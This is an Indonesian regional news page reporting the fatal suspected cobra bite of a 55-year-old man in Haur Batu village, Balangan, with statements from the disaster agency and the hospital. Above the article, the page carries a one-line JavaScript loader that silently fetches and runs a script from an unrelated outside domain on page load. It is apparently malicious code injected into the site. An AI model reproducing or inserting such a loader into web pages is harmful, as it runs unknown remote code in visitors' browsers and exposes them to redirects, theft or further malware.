(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

Digigit Ular Berbisa di Dalam Rumah, Warga Desa Haur Batu Paringin Meninggal Dunia


KANALKALIMANTAN.COM, PARINGIN – Saat hendak beraktivitas di dapur rumah, Sabriansyah (55) warga Desa Haur Batu, Kecamatan Paringin, Kabupaten Balangan, meninggal dunia, usai diduga digigit ular berbisa jenis cobra.

Kepala Badan Penanggulangan Bencana Daerah (BPBD) Balangan, H Rahmi mengatakan, tim BPBD mendapatkan informasi Minggu (25/12/2022) malam sekitar 18.25 Wita, pihaknya langsung melakukan upaya pencarian kepada ular tersebut.

“Korban Sabriansyah, Desa Haur Batu RT 13, Kecamatan Paringin, diduga digigit ular saat akan ke dapur, untuk menyalakan api, sempat dilarikan ke RSUD Balangan nyawanya tidak tertolong,” jelas H Rahmi, Senin (26/12/2022) siang.

TRC BPBD Balangan langsung melakukan pencarian terhadap ular tersebut dengan menggunakan alat pencapit ular, sepatu boot serta perlengkapan pengaman lainnya.

 

 

Baca juga: Cuaca Ekstrem di Pesisir Pantai Kalsel, BPBD Kalsel: Hindari Wisata ke Pantai Akhir Tahun

“Kami telah mencari ular tersebut di sekitar dapur tempat korban digigit, juga menyisir seisi rumah, tapi ular itu sudah tidak ada,” jelas H Rahmi.

Sepanjang tahun ini, dijelaskan Kepala BPBD Balangan, kejadian orang digigit ular baru pertama kali masuk laporan ke pihaknya.

“Kepada warga selalu berhati-hati, dan jaga kebersihan lingkungan agar hewan-hewan berbahaya tidak mendekat,” pesannya.

Sementara itu, Direktur RSUD Balangan dr Sudirman melalui Humas RSUD Balangan Herry Rusandy, membenarkan adanya pasien yang datang dengan keluhan digigit ular di bagian kaki kirinya.

Baca juga: Disperkim Banjarbaru Sulap Lahan Belukar jadi Taman Ramah Anak

Menurut keterangan pasien, jelasnya, sekitar 15 menit sebelum masuk rumah sakit merasakan kram dan nyeri di bagian kaki yang tergigit.

“Penanganan yang diambil adalah dengan infiltrasi SABU 2,5 ml di sekitar luka gigitan, dan Injeksi obat, di ruangan IGD RS Balangan,” sebut Humas RSUD Balangan Harry.

Usai penanganan tersebut, pasien dilakukan perawatan dan meninggal di ruang Melati RSUD Balangan.

Sementara itu sambungnya, untuk jenis ular yang menggigit pasien belum diketahui secara pasti. Karena pasien pun tidak melihat ular secara jelas ular jenis apa yang menggigitnya.

BPBD Balangan menduga ular tersebut merupakan ular berbisa jenis cobra atau biasa disebut ular mura oleh warga setempat.(Kanalkalimantan.com/alfi)

Reporter : alfi
Editor : bie


Risa

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

6 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

6 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

7 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

11 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

15 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

This website uses cookies.